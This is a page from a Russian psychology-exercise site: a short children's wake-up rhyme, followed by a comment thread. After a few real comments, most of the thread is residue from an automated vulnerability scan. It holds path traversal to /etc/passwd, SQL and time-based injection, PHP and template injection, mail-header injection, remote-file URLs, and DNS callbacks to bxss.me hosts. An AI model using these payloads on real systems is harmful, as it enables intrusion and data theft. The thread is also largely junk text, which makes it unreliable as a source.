аудиокниги
коммуникативные
психодиагностические
коррекционные
психотехнические
развивающие
деловые
педагогические
профориентационные
телесно-ориентированные
игры и развлечения
тренинги
статьи
психологические центры
мини-форум
все упражнения
синквейны
притчи и сказки
пословицы и поговорки
добавить упражнение


сообщение с мини-форума

ORDER BY 1#



самые читаемые статьи

Упражнение «Нахождение слов – антонимов»
статья прочитана 1103006 раз

Упражнение «Цифры в пословицах и поговорках»
статья прочитана 546366 раз

Упражнение «Моя проблема в общении»
статья прочитана 484479 раз

Игра «Крокодил»
статья прочитана 420453 раз

Тренинг на сплочение
статья прочитана 330775 раз




последние комментарии

  18.03.2024
Этому стихотворению сто лет
прочесть статью

ваыаы  14.03.2024
ваыва
прочесть статью

Ксения  26.02.2024
Спасибо, очень хорошее упражнение на внутреннюю рефлексию.
прочесть статью


психологические упражнения для тренингов



комментариев: 200 | просмотров 16767 | 14.12.2012

Физкультминутка «Одолела вас дремота»

Одолела вас дремота.
Шевельнуться неохота?
Ну-ка делайте со мною
Упражнение такое:
Вверх, вниз потянись,
Окончательно проснись.
(Встали, руки через стороны вверх – потянулись.)
Руки вытянуть пошире.
(Руки в стороны.)
Раз, два, три, четыре.
Наклониться – три, четыре –
(Наклоны.)
И на месте поскакать.
(Прыжки на месте.)
На носок, потом на пятку.
Все мы делаем зарядку. (Ходьба на месте.)



22.12.2012
полина орлова

супер но не под ритму

01.04.2013
Катюша

мне понравилось СуПеР!!!!!!!!!!!!!!!!!!!!!

08.11.2013
Марина

Не на вижу зарядку

20.11.2013
каон

классно

14.01.2015
ю джин

Зарядка мне понравилась

02.06.2023
aiPxvpay

555

02.06.2023
response.write(9279164*9488284)

555

02.06.2023
aiPxvpay

555

02.06.2023
"+response.write(9279164*9488284)+"

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

../555

02.06.2023
aiPxvpay bcc:[email protected]

555

02.06.2023
[email protected]> bcc:[email protected]

555

02.06.2023
aiPxvpay

555

02.06.2023
../../../../../../../../../../../../../../etc/passwd

555

02.06.2023

555

02.06.2023
../../../../../../../../../../../../../../windows/win.ini

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
file:///etc/passwd

555

02.06.2023
aiPxvpay

555

02.06.2023
../aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
alRBZnh4THU=

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

${9999907+10000417}

02.06.2023
${9999164+10000321}

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

!(()&&!|*|*|

02.06.2023
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

^(#$!@#$)(()))******

02.06.2023
aiPxvpay

555

02.06.2023
)

555

02.06.2023
aiPxvpay

555

02.06.2023
".gethostbyname(lc("hitys"."hkucceli9b46d.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(65).chr(111).chr(88)."

555

02.06.2023
!(()&&!|*|*|

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

02.06.2023
^(#$!@#$)(()))******

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
Http://bxss.me/t/fit.txt

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
http://bxss.me/t/fit.txt?.jpg

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
/etc/shells

555

02.06.2023
aiPxvpay

555

02.06.2023
c:/windows/win.ini

555

02.06.2023
aiPxvpay

555

02.06.2023
bxss.me

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
";print(md5(31337));$a="

555

02.06.2023
HttP://bxss.me/t/xss.html?%00

555

02.06.2023
"+"A".concat(70-3).concat(22*4).concat(118).concat(73).concat(105).concat(80)+(require"socket" Socket.gethostbyname("hitrl"+"fstlauwe0723e.bxss.me.")[3].to_s)+"

555

02.06.2023
aiPxvpay

555

02.06.2023
${@print(md5(31337))}

555

02.06.2023
bxss.me/t/xss.html?%00

555

02.06.2023
${@print(md5(31337))}\

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
xfs.bxss.me

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay


02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
koment1.php

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
koment1.php

555

02.06.2023
aiPxvpay

5559102154

02.06.2023
koment1.php/.

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay9563781

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay"&&sleep(27*1000)*wsfmca&&"

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay"||sleep(27*1000)*ahpyks||"

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

1*555

02.06.2023
aiPxvpay

555*762*757*0

02.06.2023
aiPxvpay

1*555

02.06.2023
aiPxvpay

555*258*253*0

02.06.2023
aiPxvpay

1*555

02.06.2023
aiPxvpay

555*811*806*0

02.06.2023
aiPxvpay

1*555

02.06.2023
aiPxvpay

555*122*117*0

02.06.2023
aiPxvpay

1А§Аў%2527%2522

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
6klufQ17

555

02.06.2023
-1 OR 2+18-18-1=0+0+0+1 --

555

02.06.2023
-1 OR 2+329-329-1=0+0+0+1

555

02.06.2023
1

555

02.06.2023
-1" OR 2+26-26-1=0+0+0+1 --

555

02.06.2023
if(now()=sysdate(),sleep(15),0)

555

02.06.2023
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

02.06.2023
1А§Аў%2527%2522

555

02.06.2023
@@a7JO0

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555

02.06.2023
aiPxvpay

555
комментарий

имя


сообщение с мини-форума

ORDER BY 1#



самые читаемые статьи

Упражнение «Нахождение слов – антонимов»
статья прочитана 1103006 раз

Упражнение «Цифры в пословицах и поговорках»
статья прочитана 546366 раз

Упражнение «Моя проблема в общении»
статья прочитана 484479 раз

Игра «Крокодил»
статья прочитана 420453 раз

Тренинг на сплочение
статья прочитана 330775 раз



последние комментарии

  18.03.2024
Этому стихотворению сто лет
прочесть статью

ваыаы  14.03.2024
ваыва
прочесть статью

Ксения  26.02.2024
Спасибо, очень хорошее упражнение на внутреннюю рефлексию.
прочесть статью





© trepsy.net 2007 - 2024г.